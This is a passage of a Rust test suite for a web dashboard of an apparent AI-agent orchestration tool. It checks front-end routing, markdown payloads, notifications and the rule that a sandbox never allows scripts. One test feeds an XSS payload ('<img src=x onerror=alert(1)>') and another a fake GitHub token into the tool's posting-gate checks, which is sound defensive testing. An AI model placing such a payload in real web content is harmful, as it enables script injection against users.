17753 let j_empty = res_empty.json();
17754 let judging_empty = j_empty["sections"]
17755 .as_array()
17756 .unwrap()
17757 .iter()
17758 .find(|s| s["kind"] == "judging")
17759 .expect("judging section exists");
17760 assert_eq!(judging_empty["rounds"].as_array().unwrap().len(), 0);
17761 }
17762
17763 #[tokio::test]
17764 async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
17765 let f = Fixture::start().await;
17766
17767 let html = f.get("/").await;
17768 let css = f.get("/app.css").await;
17769 let js = f.get("/app.js").await;
17770
17771 assert_eq!((html.status, css.status, js.status), (200, 200, 200));
17772 assert!(
17773 html.headers
17774 .contains("content-type: text/html; charset=utf-8")
17775 );
17776 assert!(css.headers.contains("content-type: text/css"));
17777 assert!(js.headers.contains("content-type: text/javascript"));
17778 assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
17779 }
17780
17781 #[test]
17782 fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
17783 let body = |name: &str| {
17784 let at = APP_JS
17785 .find(name)
17786 .unwrap_or_else(|| panic!("{name} missing"));
17787 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
17788 };
17789 assert!(body("function roundRail").contains("if (round <= 0) return null;"));
17790 let note = body("function landRoundNote");
17791 assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
17792 assert!(note.contains("Land round ${round}"));
17793 let land = body("function renderLand");
17794 let note_at = land
17795 .find("landRoundNote(pr)")
17796 .expect("renderLand uses the note");
17797 assert!(
17798 note_at
17799 < land
17800 .find("roundRail(pr)")
17801 .expect("renderLand uses the rail")
17802 );
17803 }
17804
17805 #[test]
17806 fn the_runs_page_redesign_keeps_its_guards() {
17807 let body = |name: &str| {
17808 let at = APP_JS
17809 .find(name)
17810 .unwrap_or_else(|| panic!("{name} missing"));
17811 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
17812 };
17813 let land = body("function renderLand");
17815 let land = &land[..land.find("function followupList").unwrap_or(land.len())];
17816 assert!(
17817 !land.contains("box.append("),
17818 "renderLand must use append()"
17819 );
17820 assert!(land.contains("append(box, ["));
17821 assert!(body("function parseRoute").contains("RUN_TABS.includes(parts[2])"));
17823 assert!(
17824 body("function applyRoute")
17825 .contains("route.name !== state.route.name || route.id !== state.route.id")
17826 );
17827 assert!(!APP_JS.contains("adviseConvergeDiagram"));
17829 assert!(!INDEX_HTML.contains("advise-converge"));
17830 assert!(INDEX_HTML.contains("id=\"advise-strip\""));
17831 assert!(APP_JS.contains("provisional"));
17832 for id in [
17833 "run-tab-overview",
17834 "run-tab-timeline",
17835 "run-tab-report",
17836 "run-report",
17837 "runs-scope",
17838 ] {
17839 assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
17840 }
17841 assert!(!INDEX_HTML.contains("runs-tree"));
17842 assert!(!INDEX_HTML.contains("run-raw-panel"));
17843 assert!(APP_JS.contains("resume"));
17845 assert!(APP_JS.contains("unreadable"));
17847 }
17848
17849 #[test]
17850 fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
17851 assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
17852 assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
17853 assert!(APP_JS.contains("setText(\n $(\"stats-unreadable-text\")"));
17854 assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
17855 assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
17856 assert!(APP_JS.contains("unreadable` : null"));
17858 }
17859
17860 #[test]
17861 fn blocked_run_detail_exposes_the_failed_gate_reason() {
17862 let mut state = RunState::new(
17863 "/repo".into(),
17864 "main".into(),
17865 "abc".into(),
17866 "task".into(),
17867 crate::config::Config::default(),
17868 );
17869 state.status = RunStatus::Blocked;
17870 state.gate_ran = true;
17871 state.gate.push(crate::run::CommandOutcome {
17872 command: "cargo make check".into(),
17873 code: Some(1),
17874 output_tail: "test web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message ... FAILED\ntest result: FAILED. 1813 passed; 1 failed; 0 ignored;".into(),
17875 duration_ms: 0,
17876 resource_blocked: false,
17877 });
17878 let view = RunDetailView::of(
17879 state,
17880 false,
17881 crate::run::Liveness::Unknown,
17882 None,
17883 None,
17884 None,
17885 );
17886 let value = serde_json::to_value(view).unwrap();
17887 assert_eq!(
17888 value["stop_reason"],
17889 "Gate failed: cargo make check — web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message (1 failed)"
17890 );
17891 }
17892
17893 #[test]
17894 fn the_run_detail_payload_says_whether_the_run_is_done() {
17895 for (status, done) in [
17897 (RunStatus::Superseded, true),
17898 (RunStatus::Blocked, true),
17899 (RunStatus::Landing, false),
17900 ] {
17901 let mut state = RunState::new(
17902 std::path::PathBuf::from("/repo"),
17903 "main".to_owned(),
17904 "abc".to_owned(),
17905 "x".to_owned(),
17906 crate::config::Config::default(),
17907 );
17908 state.status = status;
17909 let v = serde_json::to_value(RunDetailView::of(
17910 state,
17911 false,
17912 crate::run::Liveness::Unknown,
17913 None,
17914 None,
17915 None,
17916 ))
17917 .unwrap();
17918 assert_eq!(v["done"], done, "{status:?}");
17919 }
17920 }
17921
17922 fn has_strong(nodes: &[md::Node]) -> bool {
17924 serde_json::to_string(nodes).unwrap().contains("strong")
17925 }
17926
17927 #[test]
17928 fn the_run_detail_payload_carries_markdown_for_agent_prose() {
17929 let mut state = RunState::new(
17930 std::path::PathBuf::from("/repo"),
17931 "main".to_owned(),
17932 "abc".to_owned(),
17933 "x".to_owned(),
17934 crate::config::Config::default(),
17935 );
17936 let proposal = |approach: &str| {
17937 serde_json::json!({
17938 "approach": approach, "key_tradeoff": "t", "why_not_naive": "w",
17939 })
17940 };
17941 state.advice = Some(
17942 serde_json::from_value(serde_json::json!({
17943 "records": [
17944 {"seat": "advisor-1", "agent": "a", "duration_ms": 1,
17945 "proposal": proposal("do **this**")},
17946 {"seat": "advisor-2", "agent": "b", "duration_ms": 1, "error": "no"},
17947 ],
17948 "synthesis": "- one\n- **two**\n\n`code`",
17949 }))
17950 .unwrap(),
17951 );
17952 state.candidates = serde_json::from_value(serde_json::json!([
17953 {"index": 0, "label": "A", "agent": "a", "branch": "b", "worktree": "/w",
17954 "summary": "did **it**"},
17955 {"index": 1, "label": "B", "agent": "a", "branch": "b", "worktree": "/w"},
17956 ]))
17957 .unwrap();
17958 state.reviews = serde_json::from_value(serde_json::json!([{
17961 "round": 1, "head": "h",
17962 "reviews": [{
17963 "reviewer": 1, "agent": "a", "summary": "sum **mary**",
17964 "findings": [
17965 {"severity": "nit", "title": "t1", "detail": "plain nit"},
17966 {"severity": "blocker", "title": "t2", "detail": "bad **blocker**"},
17967 ],
17968 }],
17969 "reconsideration": [{"reviewer": 1, "agent": "a", "reason": "because **so**"}],
17970 "fix": {"agent": "a", "notes": "fixed **it**",
17971 "rejected": [{"id": "R1-1-1", "why": "no **way**"}]},
17972 }, {"round": 2, "head": "h2", "reviews": []}]))
17973 .unwrap();
17974
17975 let v = serde_json::to_value(RunDetailView::of(
17976 state,
17977 false,
17978 crate::run::Liveness::Unknown,
17979 None,
17980 None,
17981 None,
17982 ))
17983 .unwrap();
17984
17985 let strong = |p: &str| {
17986 let n = v.pointer(p).unwrap_or_else(|| panic!("missing {p}"));
17987 assert!(n.to_string().contains("strong"), "{p}: {n}");
17988 };
17989 strong("/advice_md/synthesis");
17990 assert!(v["advice_md"]["synthesis"].to_string().contains("code"));
17991 assert!(v["advice_md"]["synthesis"].to_string().contains("list"));
17992 strong("/advice_md/approaches/0");
17993 assert_eq!(v["advice_md"]["approaches"][1], serde_json::json!([]));
17994 strong("/candidate_summaries_md/0");
17995 assert_eq!(v["candidate_summaries_md"][1], serde_json::json!([]));
17996 strong("/reviews_md/0/reviewers/0/summary");
17997 let f = &v["reviews_md"][0]["reviewers"][0]["findings"];
17998 assert!(!f[0].to_string().contains("strong"), "recorded order kept");
17999 assert!(f[1].to_string().contains("strong"));
18000 strong("/reviews_md/0/reconsideration/0");
18001 strong("/reviews_md/0/fix/notes");
18002 strong("/reviews_md/0/fix/rejected/0");
18003 assert_eq!(v["reviews_md"][1]["fix"], serde_json::Value::Null);
18004 assert_eq!(v["reviews_md"][1]["reviewers"], serde_json::json!([]));
18005 assert_eq!(v["candidates"][0]["summary"], "did **it**");
18007 assert!(has_strong(&md::to_nodes("**x**", &md::ImageBase::None)));
18008 }
18009
18010 #[test]
18011 fn a_run_without_advice_has_no_advice_md() {
18012 let state = RunState::new(
18013 std::path::PathBuf::from("/repo"),
18014 "main".to_owned(),
18015 "abc".to_owned(),
18016 "x".to_owned(),
18017 crate::config::Config::default(),
18018 );
18019 let p = run_prose_md(&state);
18020 assert!(p.advice_md.is_none());
18021 assert!(p.candidate_summaries_md.is_empty() && p.reviews_md.is_empty());
18022 }
18023
18024 #[test]
18025 fn posting_comparison_view_validates_metadata_and_supports_legacy_questions() {
18026 let store = ask::Questions::at(PathBuf::from("unused"));
18027 let gt = crate::github_text::Withheld {
18028 title: false,
18029 body: true,
18030 categories: vec!["sensitive-data".into()],
18031 };
18032 let body = "<img src=x onerror=alert(1)> & 192.0.2.1";
18033 let (detail, comparison) =
18034 crate::github_text::question_content(>, "fix: x", body, "r", None, None, None);
18035 let mut q = Question::new(
18036 "r".into(),
18037 "github-text".into(),
18038 "posting-gate".into(),
18039 "s".into(),
18040 detail,
18041 Vec::new(),
18042 );
18043 assert!(
18044 QuestionView::of(q.clone(), &store, None)
18045 .posting_view
18046 .is_none()
18047 );
18048 q.posting_comparison = Some(comparison);
18049 let view = QuestionView::of(q.clone(), &store, None);
18050 let field = &view.posting_view.unwrap().fields[0];
18051 assert_eq!(
18052 field
18053 .original
18054 .iter()
18055 .map(|f| f.text.as_str())
18056 .collect::<String>(),
18057 body
18058 );
18059 assert!(field.original[0].text.starts_with("<img"));
18060 let original_question: Question =
18061 serde_json::from_str(&serde_json::to_string(&q).unwrap()).unwrap();
18062 assert_eq!(original_question, q);
18063 q.posting_comparison.as_mut().unwrap().fields[0].pairs[0]
18064 .original
18065 .start = 1;
18066 assert!(
18067 QuestionView::of(q.clone(), &store, None)
18068 .posting_view
18069 .is_none()
18070 );
18071 q.posting_comparison = original_question.posting_comparison;
18072 q.detail.push_str("extra context");
18073 assert!(
18074 QuestionView::of(q.clone(), &store, None)
18075 .posting_view
18076 .is_some()
18077 );
18078 q.detail.insert(0, 'x');
18079 assert!(QuestionView::of(q, &store, None).posting_view.is_none());
18080 }
18081
18082 #[test]
18083 fn posting_comparison_whole_field_view_carries_unique_trigger_groups() {
18084 let store = ask::Questions::at(PathBuf::from("unused"));
18085 let body = "日本語の説明です。\nghp_abcdefghijklmnop\nMore context.\nghp_abcdefghijklmnop";
18086 let gt = crate::github_text::Withheld::from_check(
18087 &crate::github_text::check("fix: x", body),
18088 "fix: x",
18089 body,
18090 )
18091 .unwrap();
18092 let (detail, comparison) =
18093 crate::github_text::question_content(>, "fix: x", body, "r", None, None, None);
18094 let mut q = Question::new(
18095 "r".into(),
18096 "github-text".into(),
18097 "posting-gate".into(),
18098 "s".into(),
18099 detail,
18100 Vec::new(),
18101 );
18102 q.posting_comparison = Some(comparison);
18103 let value = serde_json::to_value(QuestionView::of(q.clone(), &store, None)).unwrap();
18104 let field = &value["posting_view"]["fields"][0];
18105 let group = &field["replacement_group"];
18106 let triggers = group["triggers"].as_array().unwrap();
18107 assert_eq!(triggers.len(), 2);
18108 assert_ne!(triggers[0], triggers[1]);
18109 for id in triggers {
18110 assert!(
18111 field["original"]
18112 .as_array()
18113 .unwrap()
18114 .iter()
18115 .any(|f| &f["pair"] == id)
18116 );
18117 assert!(
18118 !field["changed"]
18119 .as_array()
18120 .unwrap()
18121 .iter()
18122 .any(|f| &f["pair"] == id)
18123 );
18124 }
18125 q.posting_comparison.as_mut().unwrap().fields[0].original_triggers[0].id =
18126 group["id"].as_u64().unwrap() as usize;
18127 assert!(
18128 QuestionView::of(q, &store, None).posting_view.is_none(),
18129 "group and trigger IDs cannot collide"
18130 );
18131 }
18132
18133 #[test]
18134 fn a_question_view_carries_markdown_for_each_thread_turn() {
18135 let home = TempDir::new().unwrap();
18136 let store = ask::Questions::at(home.path().join("questions"));
18137 let mut q = Question::new(
18138 "run".to_owned(),
18139 "implement".to_owned(),
18140 "impl-A".to_owned(),
18141 "which?".to_owned(),
18142 String::new(),
18143 Vec::new(),
18144 );
18145 q.say("plain words").unwrap();
18146 q.reply("use **this**", Vec::new()).unwrap();
18147 let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
18148 let bodies = &v["thread_bodies_md"];
18149 assert_eq!(bodies.as_array().unwrap().len(), 2);
18150 assert!(!bodies[0].to_string().contains("strong"));
18151 assert!(bodies[1].to_string().contains("strong"));
18152 }
18153
18154 #[test]
18155 fn a_question_view_carries_each_turns_deputy_note_as_markdown() {
18156 let home = TempDir::new().unwrap();
18157 let store = ask::Questions::at(home.path().join("questions"));
18158 let mut q = Question::new(
18159 "run".to_owned(),
18160 "conduct".to_owned(),
18161 "conduct".to_owned(),
18162 "which?".to_owned(),
18163 String::new(),
18164 Vec::new(),
18165 );
18166 q.say("plain words").unwrap();
18167 q.thread.push(ask::Turn {
18168 who: ask::Who::Agent,
18169 body: "Settled as `merge`".to_owned(),
18170 at: jiff::Timestamp::now(),
18171 note: Some("filed `abc123` _Fix [R1-1]_ (held; `magi task release abc123`)".to_owned()),
18172 });
18173 let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
18174 let notes = &v["thread_notes_md"];
18175 assert_eq!(notes.as_array().unwrap().len(), 2);
18176 assert!(notes[0].is_null());
18177 let text = notes[1].to_string();
18178 assert!(text.contains("abc123") && text.contains("R1-1"), "{text}");
18179 assert!(APP_JS.contains("ask-turn-note"));
18180 }
18181
18182 #[test]
18183 fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
18184 assert!(APP_JS.contains("function landView(run, raw) {"));
18188 assert!(
18189 APP_JS.contains(
18190 "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
18191 )
18192 );
18193 assert!(APP_JS.contains("const pr = landView(run, raw);"));
18194 assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
18195 assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
18196 assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
18197 }
18198
18199 #[test]
18200 fn live_runs_are_never_hidden_or_folded_as_superseded() {
18201 assert!(APP_JS.contains("function isLiveAttempt(run) {\n return !run.done;"));
18202 assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
18203 assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
18204 assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
18205 }
18206
18207 #[test]
18208 fn review_rounds_label_a_distinct_verified_head() {
18209 assert!(APP_JS.contains("round.verified_head"));
18210 assert!(APP_JS.contains("verified HEAD"));
18211 assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
18212 }
18213
18214 #[test]
18215 fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
18216 assert!(APP_JS.contains("blocked: { glyph:"));
18220 assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
18221
18222 assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
18226 assert!(
18227 APP_JS.contains(
18228 "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
18229 ),
18230 "the note line must name what a blocked task is waiting on, not just that it is blocked"
18231 );
18232 assert!(APP_JS.contains("if (status === \"blocked\") {"));
18236
18237 assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
18241 assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
18242 assert!(
18243 APP_JS.contains("location.hash = \"#/questions\";"),
18244 "a question node must jump to the Questions screen, not pretend to be a task"
18245 );
18246
18247 assert!(APP_JS.contains("Resolved questions"));
18250 assert!(APP_JS.contains("r.answersList.append("));
18251 assert!(APP_CSS.contains(".task-answers"));
18252 {
18253 let start = APP_JS
18254 .find("function updateTalkTaskRow")
18255 .expect("updateTalkTaskRow");
18256 let body = &APP_JS[start..];
18257 let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
18258 assert!(
18259 body.contains(
18260 "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
18261 ),
18262 "a chat-filed task row must link to the task page"
18263 );
18264 assert!(
18265 !body.contains("#/runs/") && !body.contains("#/queue/"),
18266 "the row must not branch to a run or the queue card"
18267 );
18268 assert!(APP_CSS.contains(".talk-task-link"));
18269 }
18270 }
18271
18272 #[test]
18273 fn a_task_notification_links_to_the_task_page() {
18274 let start = APP_JS
18276 .find("function noticeLink(")
18277 .expect("noticeLink exists");
18278 let body = &APP_JS[start..];
18279 let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
18280 assert!(
18281 body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
18282 "a task notice's link must target the task page"
18283 );
18284 assert!(
18285 !body.contains("#/queue/"),
18286 "regression: the task link must not go back to the Backlog route"
18287 );
18288 assert!(
18289 APP_JS.contains(
18290 "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
18291 ),
18292 "`#/tasks/<id>` must parse into the task route"
18293 );
18294
18295 assert!(
18297 APP_JS.contains(
18298 "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
18299 ),
18300 "`#/queue/<id>` must parse into a route carrying that id"
18301 );
18302
18303 assert!(APP_JS.contains("state.queueFocus = route.id;"));
18307 assert!(APP_JS.contains("function consumeQueueFocus()"));
18308 assert!(APP_JS.contains("jumpToTask(id)"));
18309 }
18310
18311 #[test]
18312 fn notifications_distinguish_actionable_questions_from_informational_notices() {
18313 let start = APP_JS
18314 .find("function noticeCoveredBy(")
18315 .expect("noticeCoveredBy exists");
18316 let body = &APP_JS[start..];
18317 let body = &body[..body.find("\n}\n").expect("noticeCoveredBy ends")];
18318
18319 assert!(body.contains("Associated question ${short}"));
18321 assert!(!body.contains("el(\"a\""));
18322
18323 assert!(body.contains("(resolved)"));
18325 assert!(body.contains("(closed)"));
18326
18327 let start = APP_JS
18328 .find("function renderNotifications()")
18329 .expect("renderNotifications exists");
18330 let body = &APP_JS[start..];
18331 let body = &body[..body.find("\n}\n").expect("renderNotifications ends")];
18332
18333 assert!(body.contains("const questionLink = n.answerable_question ? el(\"a\", {"));
18335 assert!(body.contains("href: `#/questions/${encodeURIComponent(n.answerable_question)}`"));
18336 assert!(body.contains("text: \"Open question to respond\",\n }) : null;"));
18337 assert!(body.contains("questionLink ? subjectLink : noticeCoveredBy(n.covered_by)"));
18338 }
18339
18340 #[test]
18343 fn chat_rows_put_the_title_alone_on_the_first_line() {
18344 assert!(APP_CSS.contains("#talks-list .card-title {\n grid-row: 1; grid-column: 1 / -1;"));
18345 assert!(APP_CSS.contains(
18346 "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
18347 ));
18348 assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
18349 assert!(APP_JS.contains("class: \"badge talk-unread\""));
18350 }
18351
18352 #[test]
18353 fn run_rows_put_the_title_alone_on_the_first_line() {
18354 assert!(
18355 APP_CSS.contains(
18356 ".cards .card.run-card .card-title {\n grid-row: 1; grid-column: 1 / -1;"
18357 )
18358 );
18359 assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
18360 assert!(APP_JS.contains("class: \"card run-card\""));
18361 assert!(APP_JS.contains("class: \"repo run-id\""));
18362 }
18363
18364 #[test]
18368 fn wide_screens_show_list_and_preview_side_by_side() {
18369 assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
18371 assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
18372 assert!(APP_CSS.contains("main[data-split]"));
18373 assert!(APP_CSS.contains("body[data-split]"));
18374
18375 assert!(APP_JS.contains("function splitPanes(route, wide) {\n if (!wide) return null;"));
18377 assert!(
18378 APP_JS.contains(
18379 "case \"run\": return { list: route.list || \"runs\", detail: \"run\" };"
18380 )
18381 );
18382 assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
18383 assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
18384 assert!(INDEX_HTML.contains("id=\"split-empty\""));
18385
18386 assert!(APP_JS.contains("function markSelected() {"));
18388 assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
18389 assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
18390 assert!(
18392 APP_CSS.contains(
18393 "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
18394 )
18395 );
18396
18397 assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
18399 assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
18400 assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
18401 assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
18402
18403 assert!(APP_JS.contains("if (state.detail.id !== id) return;"));
18407 assert!(APP_JS.contains("if (state.taskDetail.id !== id) return;"));
18408 assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
18409 assert!(APP_JS.contains("const relayout = () => applyRoute();"));
18410
18411 assert!(APP_JS.contains("sandbox: \"allow-popups allow-popups-to-escape-sandbox\""));
18413 }
18414
18415 #[test]
18416 fn panel_sandbox_carries_exactly_popups() {
18417 let needle = "sandbox: \"";
18418 let matches: Vec<_> = APP_JS.match_indices(needle).collect();
18419 assert_eq!(
18420 matches.len(),
18421 1,
18422 "APP_JS must have exactly one sandbox attribute setting: found {matches:?}"
18423 );
18424 let start = matches[0].0 + needle.len();
18425 let end = APP_JS[start..]
18426 .find('"')
18427 .expect("sandbox attribute value must be terminated by a closing quote");
18428 let val = &APP_JS[start..start + end];
18429 let tokens: std::collections::BTreeSet<&str> = val.split_whitespace().collect();
18430 let expected: std::collections::BTreeSet<&str> =
18431 ["allow-popups", "allow-popups-to-escape-sandbox"]
18432 .into_iter()
18433 .collect();
18434 assert_eq!(tokens, expected, "sandbox tokens must match exactly");
18435 assert!(
18436 !tokens.contains("allow-scripts"),
18437 "allow-scripts must never be present in sandbox"
18438 );
18439 assert!(
18440 !tokens.contains("allow-same-origin"),
18441 "allow-same-origin must never be present in sandbox"
18442 );
18443 }
18444
18445 #[test]
18446 fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
18447 assert!(
18456 APP_JS.contains(
18457 " }\n if (state.queueSearch.trim() !== \"\") {\n state.queueSearch = \"\";"
18458 ),
18459 "the search-clearing branch must run before state.queueFocus is cleared, or the \
18460 recursive renderQueue() call has nothing left to jump to"
18461 );
18462 assert!(
18463 APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
18464 "state.queueFocus must be cleared only once the jump has landed, so a card that \
18465 arrives later still gets it"
18466 );
18467 assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
18468 assert!(APP_JS.contains("is not in the current Backlog."));
18469 assert!(APP_JS.contains("li.card[data-task-id=\""));
18470 assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
18471 assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
18472 assert!(APP_CSS.contains(".card-permalink"));
18473 assert!(APP_CSS.contains(".queue-focus-status"));
18474 assert!(APP_JS.contains("const section = route.name === \"run\" ? route.list || \"runs\""));
18475 }
18476
18477 #[test]
18478 fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
18479 assert!(
18487 APP_JS.contains(
18488 "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
18489 ),
18490 "the notice card itself must forward a tap outside its link/buttons to the link's own click"
18491 );
18492 }
18493
18494 #[test]
18495 fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
18496 assert!(
18497 APP_JS.contains("round.verified_head !== round.head"),
18498 "a round that verified an earlier commit must be visibly distinct from one that \
18499 verified the head reviewers are looking at now"
18500 );
18501 assert!(
18502 APP_JS.contains("round.verified_at"),
18503 "when a check ran must be on the wire, not just which commit"
18504 );
18505 assert!(
18506 APP_JS.contains("resource_blocked"),
18507 "a command magi never got to run (shared build cache contention) must not render \
18508 the same as a command that ran and failed"
18509 );
18510 }
18511
18512 #[test]
18513 fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
18514 assert!(
18522 APP_JS.contains("onClick: () => openRunsFiltered(status)"),
18523 "every KPI tile built through statusTile() must route its click through \
18524 openRunsFiltered, the single place that sets the Runs filter"
18525 );
18526 for (label, status) in [
18527 ("Merged", "merged"),
18528 ("Ready", "ready"),
18529 ("Blocked", "blocked"),
18530 ("Stalled", "stalled"),
18531 ] {
18532 let call = format!("statusTile(\"{label}\", t.{status}, ");
18533 assert!(
18534 APP_JS.contains(&call),
18535 "expected the {label} KPI tile built via {call}..."
18536 );
18537 assert!(
18538 APP_JS.contains(&format!("status === \"{status}\"")),
18539 "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
18540 compare a run against, not one invented only for the stats tile"
18541 );
18542 }
18543 assert!(
18544 APP_JS.contains("function openRunsFiltered(status)"),
18545 "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
18546 );
18547 assert!(
18548 APP_JS.contains(
18549 "if (status && !statusInBucket(String(run.status || \"\"), status)) return false;"
18550 ),
18551 "matchesFilter must gate on the statuses of the bucket a KPI tile named"
18552 );
18553 assert!(
18561 APP_JS.contains(" location.hash = \"#runs\";\n applyRoute();\n renderRuns();\n}"),
18562 "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
18563 hashchange event that may never fire"
18564 );
18565 }
18566
18567 #[test]
18568 fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
18569 assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
18575 assert!(
18576 APP_JS.contains(
18577 " if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n state.runsFilter = { ...state.runsFilter, status: null };\n }"
18578 ),
18579 "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
18580 guard for an incompatible tree section"
18581 );
18582 }
18583
18584 #[test]
18585 fn every_stats_queue_tile_names_a_real_queue_section() {
18586 assert!(
18592 APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
18593 "every queue tile built through sectionTile() must route its click through \
18594 openQueueSectionFocus"
18595 );
18596 for key in ["upnext", "running", "done", "held", "blocked"] {
18597 assert!(
18598 APP_JS.contains(&format!("{{ key: \"{key}\",")),
18599 "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
18600 );
18601 }
18602 for line in [
18606 "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
18607 "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
18608 "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
18609 "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
18610 "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
18611 "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
18612 ] {
18613 assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
18614 }
18615 }
18616
18617 #[test]
18618 fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
18619 assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
18626 assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
18627 assert!(APP_JS.contains("function revealQueueSection(details)"));
18628 assert!(
18629 APP_JS.contains("consumeQueueFocus();\n consumeQueueSectionFocus();"),
18630 "renderQueue() must consume both focus channels on every pass"
18631 );
18632 assert!(
18633 APP_JS.contains(
18634 " const key = state.queueSectionFocus;\n if (!key || state.queue === null) return;\n if (state.queueSearch.trim() !== \"\") {"
18635 ),
18636 "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
18637 the recursive renderQueue() call has nothing left to reveal"
18638 );
18639 assert!(
18640 APP_JS.contains(
18641 " const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n state.queueSectionFocus = null;\n if (details) revealQueueSection(details);"
18642 ),
18643 "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
18644 );
18645 assert!(
18653 APP_JS.contains(" location.hash = \"#queue\";\n applyRoute();\n renderQueue();\n}"),
18654 "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
18655 hashchange event that may never fire"
18656 );
18657 }
18658
18659 #[tokio::test]
18660 async fn the_change_stream_announces_the_current_revisions_on_connect() {
18661 let f = Fixture::start().await;
18662
18663 let mut socket = tokio::net::TcpStream::connect(f.addr)
18664 .await
18665 .expect("connect");
18666 socket
18667 .write_all(
18668 b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
18669 )
18670 .await
18671 .expect("write request");
18672
18673 let mut seen = String::new();
18676 let mut buf = [0u8; 1024];
18677 while !seen.contains("event: change") {
18678 let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
18679 .await
18680 .expect("the stream must speak within five seconds")
18681 .expect("read");
18682 assert!(read > 0, "the server closed the change stream: {seen}");
18683 seen.push_str(&String::from_utf8_lossy(&buf[..read]));
18684 }
18685
18686 assert!(
18687 seen.to_lowercase()
18688 .contains("content-type: text/event-stream"),
18689 "the browser only reconnects automatically for a real SSE stream: {seen}"
18690 );
18691 let data = seen
